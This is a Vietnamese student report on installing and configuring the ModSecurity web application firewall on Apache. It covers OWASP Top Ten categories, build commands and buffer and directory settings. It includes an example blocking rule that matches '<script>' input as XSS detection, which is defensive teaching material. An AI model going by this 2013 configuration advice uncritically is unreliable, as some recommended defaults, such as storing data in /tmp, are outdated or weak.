Nghiên cứu ứng dụng mod security để bảo vệ web server

DRAFT1

[email protected]

2

MỤC LỤC

I. PHIẾU GIAO ĐỀTÀI ............................................................................................................ 5

II. NHẬP ĐỀ ............................................................................................................................... 6

IV. GIỚI THIỆU MOD_SECURITY .......................................................................................... 7

CHỨC NĂNG ........................................................................................................................... 7

Parsing .................................................................................................................................... 7

Buffering ................................................................................................................................ 7

Logging .................................................................................................................................. 7

Rule Engine ............................................................................................................................ 8

CẤU TRÚC RULE TRONG ModSecurity ............................................................................... 8

QUY TRÌNH XỬ LÝ TRONG ModSecurity ........................................................................... 8

Request Header (1) ................................................................................................................. 9

Request body (2) .................................................................................................................... 9

Response headers (3).............................................................................................................. 9

Response body (4) ................................................................................................................ 10

Logging (5) ........................................................................................................................... 10

KHUYẾN CÁO KHI TRIỂN KHAI THỰC TẾ ..................................................................... 10

V. TỐNG QUAN VỀ TIÊU CHUẨN OWASP TOP TEN ....................................................... 11

VI. CÀI ĐẶT MODSECURITY ............................................................................................ 12

VII. CẤU HÌNH ....................................................................................................................... 15

Cấu hình thư mục .................................................................................................................... 15

Các tập tin cấu hình ................................................................................................................. 15

Các chỉ thị trong tập tin cấu hình............................................................................................. 16

Quản lý Request Body ............................................................................................................. 17

Quản lý Response Body .......................................................................................................... 18

Filesystem Locations ............................................................................................................... 18

File Uploads ............................................................................................................................. 19

Debug Log ............................................................................................................................... 19

Audit Log ................................................................................................................................. 19

Default Rule Match Policy ...................................................................................................... 20

Verifying Installation ............................................................................................................... 20

VIII. OWASP MODSECURITY CORE RULE SET ................................................................ 20

3

Giới thiệu ................................................................................................................................. 20

Triển khai OWASP ModSecurity CRS .................................................................................... 21

Kiểm tra kết quả ...................................................................................................................... 22

IX. TỔNG QUAN VỀ RULE .................................................................................................... 23

Giới thiệu ................................................................................................................................. 23

Variables .................................................................................................................................. 25

Request variables ................................................................................................................. 25

Server variables .................................................................................................................... 26

Response variables ............................................................................................................... 26

Miscellaneouse variables ..................................................................................................... 27

Parsing flags ......................................................................................................................... 27

Collections variables ............................................................................................................ 28

Time variables ...................................................................................................................... 28

Operators ................................................................................................................................. 29

String–matching operators ................................................................................................... 29

Numerical operators ............................................................................................................. 30

Validation operators ............................................................................................................. 30

Miscellaneous operators ....................................................................................................... 30

Actions ..................................................................................................................................... 31

Disruptive actions ................................................................................................................. 31

Flow actions ......................................................................................................................... 31

Metadata actions ................................................................................................................... 32

Variable actions .................................................................................................................... 32

Logging actions .................................................................................................................... 32

Special actions ...................................................................................................................... 33

Miscellaneous Actions ......................................................................................................... 33

X. RULE LANGUAGE TUTORIAL ....................................................................................... 33

Tổng quan ................................................................................................................................ 33

Hướng dẫn sử dụng biến (variable) ......................................................................................... 33

Hướng dẫn sử dụng liên kết rule (chain) ................................................................................. 34

Hướng dẫn sử dụng toán tử phủ định ...................................................................................... 34

Variable Counting .................................................................................................................... 35

4

Hướng dẫn về action ................................................................................................................ 35

Action Defaults .................................................................................................................... 35

Unconditional Rules ............................................................................................................. 36

Using Transformation Functions .......................................................................................... 36

Blocking ............................................................................................................................... 37

Changing Rule Flow ............................................................................................................ 37

Capturing Data ..................................................................................................................... 38

Variable Manipulation .......................................................................................................... 39

Metadata ............................................................................................................................... 39

XI. PHÂN TÍCH CÁC RULE ỨNG DỤNG THỰC TẾ ........................................................ 40

Trường hợp 1: Chống tấn công Replay attack thông qua cơ chế đánh token ngẫu nhiên. ...... 40

Trường hợp 2: Phát hiện các Session cookie không hợp lệ ..................................................... 43

Trường hợp 3: Phòng chống phương pháp khai thác HTTP Reponse Spliting ....................... 48

Trường hợp 4: Phòng chống phương pháp khai thác Path-Traversal ...................................... 50

Trường hợp 5: Phát hiện nguy cơ lộ thông tin thẻ tín dụng .................................................... 52

Trường hợp 6: Phát hiện hành vi đăng nhập bruteforce .......................................................... 54

XII. PHỤ LỤC ......................................................................................................................... 61

DANH MỤC LỖ HỔNG BẢO MẬT OWASP 2010 .............................................................. 61

DANH MỤC CÔNG CỤ HỖ TRỢ KIỂM TRA BẢO MẬT ỨNG DỤNG WEB ................. 64

DANH MỤC THAM KHẢO KHAI THÁC LỖ HỔNG BẢO MẬT ỨNG DỤNG WEB ..... 67

XIII. TÀI LIỆU THAM KHẢO ................................................................................................ 91

5

I. PHIẾU GIAO ĐỀTÀI Tên đề án: Nghiên cứu ứng dụng Mod Security để bảo vệ web

server

Người hướng dẫn: Lưu Thanh Trà

Thời gian thực hiện: 14 tuần

Số lượng SV 2

I. Mục đích

Các firewall truyền thống không đủ mạnh để để bảo vệ các web server. ModSecurity cho phép

bảo vệ web server (một/nhiều) thông qua cơ chế can thiệp trực tiếp ở mức độ ứng dụng.

Đồ án này nhằm nghiên cứu và ứng dụng ModSecurity để bảo vệ hệ thống web bất kỳ.

II. II. Yêu cầu đối với sinh viên thực hiện

Sinh viên có kiến thức cơ bản về Linux, web

Sinh viên có kiến thức về security, html, lập trình web

III. yêu cầu

Sinh viên nắm rõ hoạt động của hệ điều hành Linux

Sinh viên nắm rõ web, html, http, PhP.

IV. Sản phẩm

Hệ thống Mod Security triển khai hoàn chỉnh để bảo vệ hệ thống web

V. Tài liệu tham khảo

Các giáo trình do giảng viên đề nghị, Internet

Ngày 28 tháng 02 năm 2013

Ký tên

TS. Lưu Thanh Trà

6

II. NHẬP ĐỀ Ngày nay, ứng dụng web trong doanh nghiệp và cơ quan chính phủ phải đối mặt với hai

thách thức lớn là: giảm thiểu nguy cơ bảo mật và bảo đảm quy trình trong công nghiệp và/hoặc

những quy định chính phủ. May mắn thay khi tồn tại một giải pháp an toàn thông tin sẵn sàng

hỗ trợ các tổ chức CNTT đạt được cả hai tiêu chí trên tại cùng một thời điểm. OWASP cho

phép các chuyên gia an ninh CNTT giảm thiểu được các cuộc tấn công bằng các chủ động và

liên tục củng cố các cấu hình cấu hình an ninh của OS, ứng dụng web và Web Application

Firewall. Đồng thời, các dự án thuộc chuẩn OWASP cho phép các kiểm soát viên giám sát việc

tuân thủ các chính sách bắt buộc trong tổ chức, doanh nghiệp.

ModSecurity là một sản phẩm thuộc dự án OWASP, cho phép người dùng cấu hình, tùy

chỉnh các phương thức phát hiện tấn công vào web server. Phiên bản ModSecurity hiện tại đã

hỗ trợ Apache, Nginx và IIS. Cùng với dự án ModSecurity Core Rule Set thì việc triển khai hệ

thống WAF càng dễ dàng hơn cho nhân viên hệ thống cũng như các chuyên viên bảo mật.

7

IV. GIỚI THIỆU MOD_SECURITY Mod_Security là một module mở rộng cho các chương trình web server như Apache, Nginx,

IIS và hoạt động như một firewall tại lớp ứng dụng web. Cùng với sự gia tăng về phương pháp

tấn công web thì mod_security cũng đã cập nhật những rule và đưa ra nhiều cách phòng chống

trong mã nguồn của chương trình. Một số tính chất mà mod_security có thể dùng làm Web

Application Firewall:

Tính linh động (Flexibility)

Việc phân tích luồng HTTP theo một tiêu chí nhất định trong thực tế thường gặp vấn đề là

làm sao để có thể so trùng mẫu mà bạn muốn. Ngoài ra, do nhu cầu của từng hệ thống web là

khác nhau dẫn đến việc phân tích trên từng loại ứng dụng cũng khác nhau. Mod_security đã kết

hợp với OWASP phát triển các tập rule mẫu (Core Rule Set) nhằm tạo ra tính linh động cho

từng mô hình web khác nhau, hỗ trợ người quản trị phân tích theo nhu cầu thực tế của hệ thống

đang quản trị.

Tính thụ động (Passivity)

ModSecurity sẽ không thực thi các tác vụ nếu như người quản trị viên không chỉ định công

việc cụ thể cho chương trình, việc này là khá quan trọng trong một ứng dụng có nhiệm vụ phân

tích nguy cơ như ModSecurity. Mọi cảnh báo sẽ được thực hiện thông qua cơ chế phân tích và

quyết định tương tác với hệ thống sẽ do người quản trị thực hiện.

CHỨC NĂNG

ModSecurity hoạt động với chương trình web server (ví dụ: Apache) sẽ thực hiện các tác vụ

như sau:

Parsing

ModSecurity sẽ phân tách các dữ liệu luân chuyển qua hệ thống thành cấu trúc dữ liệu mà

ModSecurity định nghĩa sẵn. Cấu trúc này sẽ được chuyển qua cơ chế so trùng mẫu trong tập

rule để phân tích nguy cơ.

Buffering

Chức năng buffer (đệm) đóng vai trò khá quan trọng trong cơ chế hoạt động của ModSec.

Việc này có ý nghĩa khi các request gởi đến ứng dụng web thì phải thông qua ModSecurity

trước khi đến ứng dụng xử lý và những response cũng sẽ được phân tích trước khi trả về phía

client. Cơ chế này là cách duy nhất để có thể ngăn chặn các cuộc tấn công thời gian thực, các

dữ liệu mà ModSecurity nhận được và phân tích sẽ được lưu trữ trong RAM (bao gồm request

body và response data)

Logging

ModSecurity hỗ trợ ghi nhật ký các gói tin HTTP: request headers, request body, response

header, response body nhằm hỗ trợ người quản trị phân tích nguy cơ mà hệ thống đang gặp

phải để có thể ra quyết định kiểm soát.

8

Rule Engine

Các tập mẫu trong ModSecurity đóng vai trò quan trọng trong việc phát hiện các dạng tấn

công và thực hiện phòng chống. ModSecurity cùng phát triển với dự án OWASP phát triển các

mẫu để phân tích và phòng chống các tấn công hệ thống web (Tham khảo

https://www.owasp.org/index.php/Category:OWASP_ModSecurity_Core_Rule_Set_Project)

Các phân nhóm mà CRS hỗ trợ:

HTTP Protection

Real-time Blacklist Lookups

Web-based Malware Detection

HTTP Denial of Service Protections

Common Web Attacks Protection

Automation Detection

Integration with AV Scanning for File Uploads

Tracking Sensitive Data

Trojan Protection

Identification of Application Defects

Error Detection and Hiding

CẤU TRÚC RULE TRONG ModSecurity

Tất cả các hoạt động trong ModSecurity hầu hết sẽ liên quan đến hai phần chính là: cấu hình

(configuration) và các tập luật (rule). Phần cấu hình chỉ định cách thức xử lý dữ liệu, trong khi

các rule sẽ quyết định thực hiện các hành vi (action) với dữ liệu đã được xử lý.

Một ví dụ về rule: SecRule ARGS "<script>" log,deny,status:404

Cấu trúc chuẩn của một rule trong ModSecurity bao gồm 3 phần chính:

SecRule VARIABLES OPERATOR ACTIONS

VARIABLES: xác định vị trí dữ liệu mà ModSecurity sẽ tìm kiếm mẫu. Trong ví dụ trên,

tham số ARGS nhằm chỉ định tìm kiếm mẫu trong tất cả các tham số trong request.

OPERATOR: chỉ định cách mà ModSecurity sẽ tìm kiếm mẫu. Các operator được dùng theo

dạng Regular expression nhằm tạo nên cơ chế phân tích linh động cho các rule.

ACTIONS: chỉ định hành động mà ModSecurity sẽ thực hiện khi có một mẫu được so trùng.

Trong ví dụ trên, phần action được viết log,deny,status:404 có nghĩa là: khi trùng mẫu <script>

trong gói tin thì thực hiện ghi log, deny gói tin bằng cách sử dụng mã trạng thái 404 (Not

found).

QUY TRÌNH XỬ LÝ TRONG ModSecurity

Trong ModSecurity mỗi phiên phân tích sẽ thực hiện lần lượt qua 5 bước (pha), tại mỗi bước

ModSecurity sẽ thực thi các rule tương ứng nhằm phát hiện và phòng chống các khai thác.

9

Hình 1: Quy trình xử lý của ModSecurity (nguồn www.Modsecurity.org)

Request Header (1)

Đây là bước đầu tiên trong quá trình thực hiện phân tích gói tin. Mục đích của bước này

nhằm cho phép người viết rule tương tác với các request trước khi thực hiện các yêu cầu trong

phần HTTP body. Phần này khá quan trọng để phân tích các khai thác dựa vào HTTP method

cũng như dựa vào URL như SQL Injection, Reflect XSS, Local file include …

Request body (2)

Bước 2 là quá trình kiểm tra chính trong quá trình client gởi request đến server, phần này sẽ

có hiệu quả khi người dùng cố sử dụng phương thức POST hoặc PUT để upload tập tin lên phía

server. Việc kiểm tra này bảo đảm dữ liệu đưa lên server là an toàn, tránh tình trạng upload mã

độc hoặc các dạng tấn công nhưng Stored XSS, Ajax Injection …

Response headers (3)

Những request đã được xử lý tại server sẽ được trả về cho ModSecurity kiểm tra trạng thái

trong phần respone header. Trước khi phần respone body được đọc thì ModSecurity sẽ dựa vào

tập rule để xác định có cần kiểm tra nội dung dữ liệu trong phần body hay không.

Ví dụ: mã trạng thái trả về là 404 (Not found) thì lúc này sẽ không cần kiểm tra nội dung gói

tin trả về.

10

Response body (4)

Sau khi ModSecurity đã hoàn thành việc kiểm tra tại respone header thì nội dung trong phần

body sẽ được kiểm tra so trùng với mẫu trong tập lệnh.Việc này là khá hiệu quả để phát hiện và

phòng chống xâm nhập trong trường hợp bước 1 và 2 không phát hiện được tấn công.

Ví dụ: trong khai thác SQL injection, nếu hacker cố gắng sử dụng một số công nghệ evasion

thì việc phát hiện khi request là khó khăn. Khi khai thác thành công, ModSecurity sẽ phân tích

kết quả trong gói tin trả về để phát hiện nếu như câu truy vấn thành công.

Logging (5)

Việc ghi log sẽ ghi nhận các cảnh báo cũng như quy trình làm việc của ModSecurity.

KHUYẾN CÁO KHI TRIỂN KHAI THỰC TẾ

Nhằm bảo đảm tính tính linh động trong việc phát hiện cũng như bảo vệ theo thời gian thực,

ModSecurity cần sử dụng một lượng tài nguyên CPU và RAM để bảo đảm hoạt động đúng

mục đích khi triển khai. Việc sử dụng tài nguyên phụ thuộc nhiều vào phần cấu hình và cách

triển khai trên từng hệ thống khác nhau. Dưới dây là một số điểm chính cần chú ý:

ModSecurity sẽ phân tích các cú pháp mà apache sẽ thực hiện, vì thế hệ thống của bạn sẽ có

thể tăng tiêu thụ tài nguyên CPU để thực hiện tác vụ.

Việc phân tích linh động trong một số trường hợp sẽ cần một lượng tài nguyên khá lớn để

phân tích. Ví dụ: XML, JSON, AJAX …

Việc quản lý dữ liệu upload từ phía client yêu cầu thêm tài nguyên I/O (như HDD), trong

một số trường hợp sẽ gây ra tình trạng trùng lặp dữ liệu trên hệ thống.

Dữ liệu trong request và resopone được lưu trữ đệm trong RAM để thực hiện các tác vụ chặn

theo thời gian thực.

Mỗi rule trong phần cấu hình sẽ sử dụng CPU (cho phần operartor) và RAM (dùng để

chuyển đổi dữ liệu đầu vào trước khi qua phiên phân tích)

Việc sử dụng các Regular expression sẽ tốn các tài nguyên nhiều hơn.

Các hoạt động I/O sẽ tăng cao cho việc ghi nhật ký trong quá trình hoạt động của

ModSecurity (full transaction loging).

Khi triển khai thực tế ModSecurity, bạn cần chú ý đến những điều trên để có thể xác định

được tài nguyên cần thiết để ModSecurity hoạt động ổn định. Trong trường hợp bạn không thể

thay đổi tài nguyên phần cứng, thì tôi khuyên bạn nên thường xuyên theo dõi trạng thái hoạt

động của hệ thống, rút ra những kinh nghiệm nhằm điều chỉnh hoặc giảm bớt chức năng,

ruleset phù hợp mà vẫn đảm bảo an toàn cho việc hoạt động. Nếu như tổ chức mà bạn đang

quản lý sử dụng một số công nghệ ảo hóa thì việc điều chỉnh tài nguyên sẽ thuận tiện hơn để

ModSecurity hoạt động.

Một cách khác để triển khai ModSecurity trên thực thế là dùng như một reverse proxy, trong

trường hợp này tài nguyên cho ModSecurity sẽ ổn định hơn so với hệ thống tích hợp (CPU,

RAM, I/O hoạt động ở trạng thái cao).

11

V. TỐNG QUAN VỀ TIÊU CHUẨN OWASP TOP TEN OWASP (Open Web Application Security Project) là một dự án phi lợi nhuận, tập trung vào

việc cải thiện tính bảo mật của ứng dụng web. Thành viên của dự án là các cá nhân, tổ chức,

chuyên gia … cùng đóng góp các mã nguồn, công cụ hỗ trợ kiểm tra lỗ hổng ứng dụng web.

Năm 2010, cộng đồng OWASP xuất bản “Tài liệu hướng dẫn kiểm tra ứng dụng Web” phiên

bản 3 (OWASP Testing Guide v3: https://www.owasp.org/index.php/OWASP_Testing_Project).

Tài liệu liệt kê và phân nhóm các lỗ hổng bảo mật đã được biết đến trong ứng dụng web. Đồng

thời nội dung của tài liệu này mô tả các dự án được cộng đồng phát triển, bao gồm dự án WAF

ModSecurity.

OWASP phân loại các lỗ hổng thành 10 phân nhóm chính:

A1-Injection Nhóm này bao gồm các lỗ hổng như SQL injection, OS command

injection, LDAP injection…các lỗ hổng trong phân nhóm này cho

phép hacker truy cập hoặc chèn các dữ liệu giả vào hệ thống thông

qua các câu truy vấn dữ liệu.

A2-Cross Site

Scripting (XSS)

XSS xuất hiện khi một ứng dụng web cho phép người dùng nhập

các dữ liệu vào mà không thông qua kiểm duyệt nội dung, những dữ

liệu này sẽ tương tác trực tiếp với những người dùng khác cùng sử

dụng website. Nguy cơ tạo ra là hacker có thể chèn các mã kịch bản

như HTML, Javascript… nhằm ăn cắp SessionCookie, thay đổi giao

diện (deface) hoặc chuyển hướng đến trang có mã độc khác.

A3-Broken

Authentication and

Session Management

Phân nhóm này liệt kê các nguy cơ về chức năng xác thực và quản

lý phiên (session management) trong ứng dụng web. Thông thường

các chức năng này không được triển khai tốt, cho phép hacker vượt

qua cơ chế kiểm duyệt người dùng.

A4-Insecure Direct

Object References

Nguy cơ trong nhóm A4 thường được gặp trong trường hợp các

lập trình viên sử dụng tham chiếu đến một tập tin, thư mục hoặc các

truy vấn database trong mã nguồn. Nếu các tham chiếu này không

được quản lý chặt chẽ, thì việc truy cập dữ liệu trái phép từ bên ngoài

là rất nguy hiểm.

A5-Cross Site

Request Forgery

(CSRF)

Một cuộc tấn công CSRF yêu cầu một người dùng đã đăng nhập.

Tiếp theo, hacker sẽ chèn các mã kịch bản đã được dựng sẵn vào nội

dung trang web nhằm thực thi một hành động bất hợp pháp với

quyền của người dùng đã đăng nhập.

A6-Security

Misconfiguration

Các yêu cầu về bảo mật ứng dụng web cũng bao gồm việc cấu

hình và triển khai hệ thống, ứng dụng webserver (Apache, Nginx,

Tenginx…), cơ sở dữ liệu (MySQL, Oracle…), hệ điều hành (Linux,

Windows…). Tất cả công việc thiết lập môi trường cho ứng dụng

web hoạt động cần được lên kế hoạch theo dõi, kiểm tra, cập nhật

thường xuyên nhằm giảm thiểu nguy cơ hệ thống bị khai thác.

A7-Insecure

Cryptographic Storage

Rất nhiều ứng dụng web không quan tâm đến việc bảo vệ dữ liệu

nhạy cảm như thông tin thẻ tín dụng, SSN và các thông tin xác thực.

https://www.owasp.org/index.php/OWASP_Testing_Project

https://www.owasp.org/index.php/Top_10_2010-A1















12

Việc hacker thu thập các dữ liệu nhạy cảm không được mã hóa

(encrypt) hoặc băm (hash) sẽ tạo ra mối nguy hiểm lớn cho những

website cho phép giao dịch thông qua thương mại điện tử.

A8-Failure to

Restrict URL Access

Hầu hết các ứng dụng thường thực hiện kiểm soát việc truy cập

thông qua URL (thông qua cơ chế Rewrite). Việc giới hạn quyền truy

cập vào các tập tin, thư mục nhạy cảm là cần thiết. Trong một số tình

huống, việc kiểm soát này không được quản lý đầu đủ tạo nguy cơ

xâm nhập trái phép vào ứng dụng (ví dụ: thư viện fckditor thường có

thể truy cập trực tiếp không cần xác thực).

A9-Insufficient

Transport Layer

Protection

Thông tin xác thực được truyền qua môi trường mạng truyền dẫn

không bảo mật sẽ tạo ra nguy cơ dữ liệu bị nghe lén. Việc này cũng

tương tự nếu như ứng dụng sử dụng các chứng chỉ số (certificate) với

các khóa yếu (weak key), thuật toán mã hóa yếu (weak algorithms)

hoặc chứng chỉ đã hết hạn sử dụng (expired).

A10-Unvalidated

Redirects and Forwards

Các ứng dụng web thường chuyển hướng người dùng đến những

trang web hoặc URL khác nhau. Hacker có thể lợi dụng cơ chế này

để chuyển hướng người dùng đến những website chứa phần mềm độc

hại hoặc trang đăng nhập giả.

Dự án OWASP ModSecurity Core Rule Set (CRS) sử dụng bản quyền ASLv2. Các tập rule

trong CRS được phân loại theo tiêu chuẩn OWASP để có thể bảo vệ máy chủ web theo từng

loại tấn công. Các rule này hoạt động tốt với phiên bản ModSecurity 2.5 trở lên.

Các vấn đề về triển khai ModSecurity CRS và phương pháp kiểm tra lỗ hổng sau khi triển

khai, bạn có thể tham khảo tại mục OWASP MODSECURITY CORE RULE SET và PHỤ

LỤC.

VI. CÀI ĐẶT MODSECURITY Trước khi bạn tiến hành cài đặt ModSecurity cho hệ thống, bạn cần biết những phương thức

cài đặt cũng như một số ưu điểm và khuyết điểm cho từng loại:

CÁCH CÀI ĐẶT ƯU ĐIỂM NHƯỢC ĐIỂM

Dựa vào phiên bản của

hệ điều hành Tự động cài đặt

Dễ dàng bảo trì

Có thể là phiên bản

cũ

Gói cài đặt của bên thứ

ba Tự động cài đặt Có thể là phiên bản

cũ

Yêu cầu tải và cập

nhật thường xuyên

Không tin tưởng vào

gói cài đặt đã đóng gói

Cài đặt từ mã nguồn Bảo đảm là phiên

bản mới nhất

Có thể sử dụng phiên

bản thử nghiệm

Có thể gặp các vấn

đề khi quản trị viên muốn

sử dụng lại phiên bản cũ

trước đó








13

Có thể tùy biến, sử

dụng các bản vá khẩn cấp

trong tình huống phát hiện

lỗi bảo mật

Trong phần này, tôi sẽ hướng dẫn biên dịch từ mã nguồn. ModSecurity được tải tại trang

web www.Modsecurity.org.

Trước khi cài đặt ModSecurity trên nền tảng Linux, bạn cần cài đặt một số thư viện hỗ trợ

như sau: Apache Portable Runtime (APR), APR-util,bật module mod_unique_id trong Apache,

libcurl, libxml2, Lua 5.1 (tùy chọn), PCRE.

#yum install openssl openssl-devel pcre pcre-devel libxml2 libxml2-devel curl-devel pcre

pcre-devel

Tải phiên bản ModSecurity mới nhất tại trang chính của sản phẩm.

#wget http://www.Modsecurity.org/tarball/2.7.3/Modsecurity-apache_2.7.3.tar.gz

#wget http://www.Modsecurity.org/tarball/2.7.3/Modsecurity-apache_2.7.3.tar.gz.md5

Kiểm tra gói tin đã tải về

#md5sum –c Modsecurity-apache_2.7.3.tar.gz.md5

Thực hiện giải nén

#tar xvf Modsecurity-apache_2.7.3.tar.gz

#cd Modsecurity-apache_2.7.3

Biên dịch cài đặt chương trình

#./configure

# make

# make install

Hình 2: Kiểm tra MD5 tập tin cài đặt

http://www.modsecurity.org/

http://www.modsecurity.org/tarball/2.7.3/modsecurity-apache_2.7.3.tar.gz

http://www.modsecurity.org/tarball/2.7.3/modsecurity-apache_2.7.3.tar.gz.md5

14

Sau khi cài đặt thành công, ta cần cấu hình LoadModule trong tập tin cấu hình của Apache

(mặc định trên CentOS là /etc/httpd/conf/httpd.conf)

Bỏ comment cho unique_id_module

LoadModule unique_id_module modules/mod_unique_id.so

Thêm dòng

LoadModule security2_module modules/mod_security2.so

Sau khi chỉnh tập tin httpd.conf, ta save lại và tiến hành kiểm tra tập tin cấu hình, bảo đảm

Apache hoạt động bình thường.

# httpd –t

Khởi động lại dịch vụ httpd trên hệ thống, đồng thời kiểm tra log file để bảo đảm dịch vụ

hoạt động tốt.

# service httpd restart

#tail –f /var/logs/httpd/error_log

15

Hình 3: Log thông báo trạng thái khởi động của Apache

Apache đã hoạt động bình thường với mod_security.

VII. CẤU HÌNH

Cấu hình thư mục

Trước khi thực hiện cấu hình ModSecurity, tôi sẽ tạo một danh sách các thư mục theo một

định dạng sẵn. Việc này giúp tôi quản lý dễ dàng các dữ liệu mà ModSecurity tạo ra, đồng thời

hỗ trợ trong việc bảo trì và cập nhật các rule mới cho ModSecurity.

Binaries: /opt/modsecurity/bin

Configuration files: /opt/modsecurity /etc

Audit logs: /opt/modsecurity /var/audit

Persistent data: /opt/modsecurity/var/data

Logs: /opt/modsecurity/var/log

Temporary files: /opt/modsecurity/var/tmp

File uploads: /opt/modsecurity/var/upload

Location Owner Group Permissions

/opt/modsecurity root apache rwxr-x---

/opt/modsecurity/bin root apache rwxr-x---

/opt/modsecurity/etc root root rwx------

/opt/modsecurity/var root apache rwxr-x---

/opt/modsecurity/var/aud

it

apache root rwx------

/opt/modsecurity/var/dat

a


/opt/modsecurity/var/log root root rwx------

/opt/modsecurity/var/tmp apache apache rwxr-x---

/opt/modsecurity/var/upl

oad


Các tập tin cấu hình

Tập tin Mô tả

main.conf Tập tin cấu hình chính

16

rules-first.conf Tập lệnh thực hiện đầu tiên

rules.conf Tập lệnh thực hiện chính

rules-last.conf Tập lệnh thực hiện cuối cùng

Thực hiện tạo tập tin Modsecurity.conf trong thư mục /etc/httpd/conf.d với nội dung:

<IfModule mod_security2.c>

Include /opt/modsecurity/etc/main.conf

Include /opt/modsecurity/etc/rules-first.conf

Include /opt/modsecurity/etc/rules.conf

Include /opt/modsecurity/etc/rules-last.conf

</IfModule>

Tạo một tập tin cấu hình mẫu cho ModSecurity dựa vào tập tin đề nghị có sẵn, tại thư mục

chứa mã nguồn Modsecurity thự hiện lệnh sao chép như sau:

#cp Modsecurity.conf-recommended /opt/modsecurity/etc/main.conf

Các chỉ thị trong tập tin cấu hình

Chỉ thị Mô tả

SecArgumentSeparator Sets the application/x-www-form-urlencoded

parameter separator

SecCookieFormat Sets the cookie parser version

SecDataDir Sets the folder for persistent storage

SecRequestBodyAccess Controls request body buffering

SecRequestBodyInMemoryLimit Sets the size of the per-request memory buffer

SecRequestBodyLimit Sets the maximum request body size

ModSecurity will accept

SecRequestBodyLimitAction Controls what happens once the request body

limit is reached

SecRequestBodyNoFilesLimit Sets the maximum request body size,

excluding uploaded files

SecResponseBodyAccess Controls response body buffering

SecResponseBodyLimit Specifies the response body buffering limit

SecResponseBodyLimitAction Controls what happens once the response body

limit is reached

SecResponseBodyMimeType Specifies a list of response body MIME types

to inspect

SecResponseBodyMimeTypesClear Clears the list of response body MIME types

SecRuleEngine Controls the operation of the rule engine

17

SecTmpDir Sets the folder for temporary files

Quản lý Request Body

Request bao gồm hai thành phần: request header mặc định luôn được bật trong ModSecurity

và request body là tùy chọn để theo dõi. Trong trường hợp quản trị viên cần theo dõi nội dung

request body thì cầu cấu hình như sau:

# Allow ModSecurity to access request bodies. If you don't, ModSecurity

# won't be able to see any POST parameters, which opens a large security

# hole for attackers to exploit.

#

SecRequestBodyAccess On

Khi chức năng quản lý request body được sử dụng, thì ModSecurity không những sẽ theo

dõi nội dung gói tin mà còn sẽ lưu trữ nội dung trong bộ đệm (buffer) để phân tích trong trường

hợp dữ liệu gởi đến server cần nhiều hơn một gói tin HTTP. Nhằm tránh tình trạng gây quá tải

cho bộ nhớ RAM, quản trị viên cần điều chỉnh tham số giới hạn phù hợp. Có ba phần cấu hình

chỉ định hoạt động của buffer. Hai chỉ thị đầu tiên dùng để giới hạn của các request:

# Maximum request body size we will accept for buffering. If you support

# file uploads then the value given on the first line has to be as large

# as the largest file you are willing to accept. The second value refers

# to the size of data, with files excluded. You want to keep that value as

# low as practical.

#

SecRequestBodyLimit 13107200

SecRequestBodyNoFilesLimit 131072

Trong phiên bản trước 2.5, ModSecurity chỉ hỗ trợ SecRequestBodyLimit dùng để giới hạn

kích thước gói tin request đến server, bao gồm gói tin với POST method bình thường (ví dụ:

nhập username, password) và các gói tin dùng POST method để upload tập tin. Nhưng nhóm

phát triển ModSecurity thấy rằng: khi client dùng POST để upload tập tin, thì quá trình này

không sử dụng đến RAM để xử lý gói tin mà chỉ dùng I/O để truyền dữ liệu. Vì lý do này, trong

phiên bản sau 2.5 thì chức năng SecRequestBodyNoFilesLimit được thêm vào nhằm phân biệt

gói tin dùng để upload tập tin và gói tin dùng để nhập dữ liệu từ client.

Chỉ thị thứ ba trong phần này là SecRequestBodyInMemoryLimit, dùng điều khiển hoạt

động lưu trữ nội dung của gói tin vào bộ nhớ RAM. Tham số trong phần này chỉ có hiệu quả

với các gói tin có nhiệm vụ upload tập tin (multipart/form-data)

# Store up to 128 KB of request body data in memory. When the multipart

# parser reachers this limit, it will start using your hard disk for

# storage. That is slow, but unavoidable.

#

SecRequestBodyInMemoryLimit 131072

18

Những gói tin có kích thước trong khoảng giới hạn tại mục SecRequestBodyInMemoryLimit

sẽ được lưu trữ trong RAM. Những gói tin có kích thước lớn hơn sẽ được chuyển vào vùng nhớ

swap trên ổ cứng để lưu trữ và phân tích.

Quản lý Response Body

Tương tự như gói tin request, các gói tin respone cũng bao gồm hai phần là header và body

(trong một số trường hợp gói tin respone không tồn tại nội dung trong phần body). Ta cấu hình

việc theo dõi nội dung trong repone tại mục SecResponseBodyAccess.

# Allow ModSecurity to access response bodies.

# You should have this directive enabled in order to identify errors

# and data leakage issues.

#

# Do keep in mind that enabling this directive does increases both

# memory consumption and response latency.

#

#SecResponseBodyAccess On

SecResponseBodyAccess Off

Tôi khuyến cáo nên tắt chức năng theo dõi respone nhằm giảm thiểu tài nguyên CPU và

RAM trên máy chủ. Hơn nữa, hầu hết các cuộc tấn công thường xuất hiện bên ngoài hệ thống,

nên việc theo dõi các repone đôi khi là không cần thiết.Trong trường hợp bạn cần theo dõi dữ

liệu phản hồi từ server, đơn giản là thiết lập thành giá trị thành On.

Trong dữ liệu mà phía server trả về phía client thường bao gồm nhiều thành phần và kiểu

khác nhau như: html, css, js, jpg, xml … Trong hầu hết các trường hợp, thì các dữ liệu tĩnh

(javascript, css …) không tạo ra nguy cơ bảo mật nào cho hệ thống, do vậy trong ModSecurity

ta cần chỉ định rõ kiểu dữ liệu cần theo dõi trong phần SecResponseBodyMimeType

# Which response MIME types do you want to inspect? You should adjust the

# configuration below to catch documents but avoid static files

# (e.g., images and archives).

#

SecResponseBodyMimeType text/plain text/html text/xml

Filesystem Locations

Trong phần cấu hình này, ta cần chỉ định thư mục lưu trữ tạm thời nhằm phục vụ cho chức

năng theo dõi nội dung tập tin đăng tải lên phía server. Ngoài ra, thư mục này bao gồm việc lưu

trữ các session_cookie trong trường hợp phục vụ cho các rule chống khai thác thông qua

session_fixation hoặc session_hijacking.

#-- Filesystem configuration ------------------------------------------------

# The location where ModSecurity stores temporary files (for example, when

# it needs to handle a file upload that is larger than the configured limit).

#

# This default setting is chosen due to all systems have /tmp available however,

# this is less than ideal. It is recommended that you specify a location that's private.

19

#

SecTmpDir /tmp/

# The location where ModSecurity will keep its persistent data. This default setting

# is chosen due to all systems have /tmp available however, it

# too should be updated to a place that other users can't access.

#

SecDataDir /tmp/

File Uploads

Tại phần cấu hình quản lý upload tập tin, ta cần chỉ định thư mục chứa dữ liệu tạm thời trong

trường hợp có tập tin được upload. Thư mục này sẽ chứa tập tin tạm thời để ModSecurity kiểm

tra trước khi đưa quan Apache xử lý nội dung tiếp theo.

